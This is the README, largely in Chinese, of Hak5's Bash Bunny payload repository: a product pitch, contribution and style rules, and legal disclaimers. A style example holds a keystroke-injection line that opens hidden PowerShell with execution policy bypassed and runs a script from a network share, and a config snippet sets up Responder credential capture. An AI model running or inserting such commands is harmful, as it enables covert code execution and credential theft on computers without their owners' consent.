# [Hak5](https://hak5.org) [Bash Bunny](https://shop.hak5.org/products/bash-bunny) 的 Payload 库
此仓库包含 Hak5 Bash Bunny 的 payload 和扩展。这里列出了社区开发的 payload,并鼓励开发者创建 pull request 来修改或提交新的 payload。
**此处的 payload 专门为 Bash Bunny 使用官方的 DuckyScript™ 和 Bash 编写。Hak5 不保证 payload 的功能。**
见法律与免责声明
View Featured Bash Bunny Payloads and Leaderboard
Get your payload in front of thousands. Enter to win over $2,000 in prizes in the Hak5 Payload Awards!
# 目录
## 商店
- [Bash Bunny Mark II](https://shop.hak5.org/products/bash-bunny "Purchase the Bash Bunny")
- [PayloadStudio Pro](https://hak5.org/products/payload-studio-pro "Purchase PayloadStudio Pro")
- [购买所有 Hak5 工具](https://shop.hak5.org "Shop All Hak5 Tools")
## 入门
- [使用 PayloadStudio 构建 Payload](#build-your-payloads-with-payloadstudio) | [新手上路](https://docs.hak5.org/bash-bunny/beginner-guides/ "QUICK START GUIDE") | [你的第一个 Payload](https://docs.hak5.org/bash-bunny/writing-payloads/payload-development-basics)
## 文档 / 了解更多
- [文档](https://docs.hak5.org/bash-bunny/ "Documentation")
## 相关链接
Korben's Socials
Darren's Socials
伪装成 USB 设备的 Linux 机器。通过模拟受信任 USB 设备的组合 —— 例如千兆以太网、串口、闪存盘和键盘 —— Bash Bunny 能够诱骗目标计算机泄露数据、窃取文档、安装后门以及执行更多攻击。
##
高级攻击
为了方便起见,计算机会信任许多设备。闪存盘、以太网适配器、串口设备和键盘就是其中的代表。这些已成为现代计算的主力军。每种设备都有其独特的攻击向量。如果将它们组合起来呢?可能性将是无限的。Bash Bunny 就是所有这些设备的集合 —— 无论是单独使用还是组合使用 —— 甚至更多!
##
简单的 PAYLOAD
每次攻击(即 payload)都是使用简单的 Ducky Script™ 语言编写而成的文本文件。这个仓库是不断增长的社区开发 payload 库的家园。只需从 git 下载文件,即可随时掌握所有最新攻击。然后,就像使用普通闪存盘一样,将它们加载到 Bash Bunny 上。
##
简约而强大的硬件
这是一台功能齐全的 Linux 设备,得益于优化的四核 CPU、桌面级 SSD 和翻倍的 RAM,现在运行你最喜欢的工具会更快。你可以通过选择开关和 RGB LED 来选择并监控 payload。通过专用的串口控制台访问已解锁的 root 终端。通过 MicroSD 窃取千兆级别的数据。甚至可以通过蓝牙远程触发或对 payload 进行地理围栏限制。
Take your DuckyScript™ payloads to the next level with this full-featured, web-based (entirely client side) development environment.
Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!
Supports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!
Become a PayloadStudio Pro and Unleash your hacking creativity!
OR
Try Community Edition FREE
Payload Studio Themes Preview GIF
Payload Studio Autocomplete Preview GIF
## 免责声明
通常情况下,payload 可能会在你的设备上执行命令。因此,payload 有可能会损坏你的设备。本仓库中的 payload 均“按原样”(AS-IS)提供,不含任何保证。尽管 Hak5 尽最大努力审查 payload,但对其有效性不作任何保证。与使用任何脚本一样,建议你谨慎操作。
View Featured Payloads and Leaderboard
# 提交 payload 时,请遵守以下最佳实践和风格指南。
开发完 payload 后,我们鼓励你通过提交 Pull Request 来为本仓库做贡献。经过审查和批准的 pull request 会将你的 payload 添加到此仓库中,并可能被公开。
请包含运行 payload 所需的所有资源。如有必要,请在 payload 目录的根目录下提供一个 README.md,以解释诸如预期用途、所需配置,或其他任何难以放在 payload.txt 注释中的内容。请确保你的 payload 已经过测试且没有错误。如果你的 payload 包含(或基于)他人的作品,请务必引用他们的工作并给予适当的署名。
### 纯破坏性的 payload 将不予接受。不,这可不仅仅是个“恶作剧”。
本条款如有更改,恕不另行通知。请在提交 Pull Request 之前确保任何提交都符合这些标准的[最新版本](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md)。
## 命名规范
请为你的 payload 起一个独特、具有描述性且合适的名称。不要在 payload、目录或文件名中使用空格。每个 payload 都应提交到各自的目录中,使用 `-` 或 `_` 代替空格,并归入相应的类别,例如 exfiltration(数据窃取)、phishing(网络钓鱼)、remote_access(远程访问)或 recon(侦察)。请勿自行创建类别。
## 分阶段 Payload
“分阶段 Payload (Staged payloads)” 是指 **下载** payload.txt 外部资源代码的 payload。
虽然在 payload 中使用分阶段代码通常是有用且合适的,但使用此 GitHub 仓库(或其他仓库)作为部署这些阶段的手段并不合适。本仓库 **不是用于在目标系统上进行部署的 CDN**。
分阶段代码应 **由最终用户** 复制并托管在适当的服务器上 —— GitHub 和此仓库仅用于在开发者和用户之间共享代码。
参见:[GitHub 可接受使用政策](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety)
此外,任何打算进行分阶段托管 **(由最终用户在适当的设备架构上)** 的源代码,都应包含在任何 payload 提交中,可以放在 payload 本身的注释中,也可以作为单独的文件。**不接受指向分阶段代码的链接**;这不仅是出于上述原因,也是出于版本控制和用户安全的考虑。隐藏在 payload 中通过 URL 指向的某个预定义外部资源背后的任意代码,可能会在未来的任何时候被替换,而用户对此一无所知 —— 这可能会将一个无害的 payload 变成危险的东西。
### 包含 URL
在任何 payload 提交中,用于检索分阶段代码的 URL 应使用 bash 变量专门指向 **example.com** [请参阅下面的 Payload 配置部分](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration)。
### 分阶段示例
**场景示例:你的 payload 下载一个脚本,并在目标机器上执行它。**
- 将该脚本包含在你的 payload 目录中
- 向用户提供说明,指示其将脚本移动到适当的托管服务上。
- 提供一个带有占位符 example.com 的 bash 变量,以便用户在托管脚本后能轻松进行配置
[此类 payload 的简单示例](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon)
## Payload 配置
请务必仔细考虑以下几点,以确保你的 payload 易于测试、使用和维护。
在许多情况下,payload 需要由最终用户进行一定程度的配置。
- 抽象配置以便于使用。尽可能使用 bash 赋值变量。
- 记住在 payload 的可配置部分使用占位符(PLACEHOLDERS)——不要分享你个人的 URL、API 密钥、密码等……
- 不应包含指向分阶段 payload 的 URL。URL 应替换为 example.com。提供说明,指导应如何在适当的基础架构上托管特定资源。
- 在 payload 顶部使用 bash 注释,或在适当的地方使用“内联(inline)”方式,注明 payload 中的必需(REQUIRED)和可选(OPTIONAL)配置。
```
Example:
BEGINNING OF PAYLOAD
... Payload Documentation...
# CONFIGURATION
# REQUIRED - Provide URL used for Example
MY_TARGET_URL="example.com"
# OPTIONAL - How long until payload starts; default 5s
BOOT_DELAY="5000"
QUACK DELAY $BOOT_DELAY
...
QUACK STRING $MY_TARGET_URL
...
```
## Payload 文档
Payload 应以 `#` bash 注释开头,指明 payload 的标题、作者、目标对象和简短描述。
```
Example:
BEGINNING OF PAYLOAD
# Title: Example Payload
# Author: Korben Dallas
# Description: Opens hidden powershell and
# Target: Windows 10
# Props: Hak5, Darren Kitchen, Korben
# Version: 1.0
# Category: General
```
### 二进制文件
本仓库可能不接受二进制文件。如果 payload 结合使用了二进制文件,请记录获取该文件或其源码的位置。
### 配置选项
可配置选项应在 payload.txt 文件顶部的变量中指定
```
# 选项
RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds
```
### LED
payload 应尽可能使用通用的 payload 状态,而不是独特的颜色/模式组合,并在 Stage 或 ATTACKMODE 之前使用 LED 命令。
```
# 初始化
LED SETUP
GET SWITCH_POSITION
GET HOST_IP
# 攻击
LED ATTACK
ATTACKMODE HID ECM_ETHERNET
```
### 阶段与状态
阶段应使用注释进行记录
```
# Keystroke Injection 阶段
# 运行隐藏的 powershell,并在可用时执行 \\172.16.64.1\s\s.ps1
GET HOST_IP
LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""
```
通用的 payload 状态包括 `SETUP`(设置),如果不满足某些条件,可能还会包含 `FAIL`(失败)。这之后通常会是一个单一的 `ATTACK`(攻击)或多个 `STAGE`(阶段)。更复杂的 payload 可能包含一个 `SPECIAL`(特殊)功能,用于等待直到满足特定条件。payload 通常以 `CLEANUP`(清理)阶段结束,例如移动和删除文件或停止服务。当目标完成且设备可以安全弹出或关闭时,payload 可能会 `FINISH`(结束)。这些常见的 payload 状态与 `LED` 状态相对应。
本仓库中的 payload 仅供教育目的使用。Hak5 设备仅用于授权的审计和安全分析目的,并须遵守适用的当地和国际法律。用户需对遵守当地所有法律负全部责任。Hak5 LLC 及其附属公司对未经授权或非法使用不承担任何责任。
Bash Bunny 和 DuckyScript 是 Hak5 LLC 的商标。版权所有 © 2010 Hak5 LLC。保留所有权利。未经版权所有者事先书面许可,不得以任何形式或任何方式复制或传播本作品的任何部分。
Bash Bunny 和 DuckyScript 受 Hak5 许可协议 (https://hak5.org/license) 约束
DuckyScript 是 Hak5 LLC 的知识产权,仅供 Hak5 LLC 及其被许可人受益。如需询问获得在你自己的项目中使用此材料的许可,请联系我们。请向 legal@hak5.org 报告假冒产品和品牌滥用行为。
本材料仅用于教育、授权的审计和分析目的,并须遵守适用的当地和国际法律。用户需对合规性负全部责任。Hak5 LLC 对未经授权或非法使用不承担任何责任。
Hak5 LLC 的产品和技术仅向符合 BIS 认可的许可证例外 ENC 优惠待遇的国家提供,依据美国 15 CFR 第 740 部分第 3 号补充规定。
另请参见:
[Hak5 软件许可协议](https://shop.hak5.org/pages/software-license-agreement)
[服务条款](https://shop.hak5.org/pages/terms-of-service)
# 免责声明
与使用任何脚本一样,建议你谨慎操作。
通常情况下,payload 可能会在你的设备上执行命令。因此,payload 有可能会损坏你的设备。本仓库中的 payload 均按原样(AS-IS)提供,不含任何保证。尽管 Hak5 尽最大努力审查 payload,但对其有效性不作任何保证。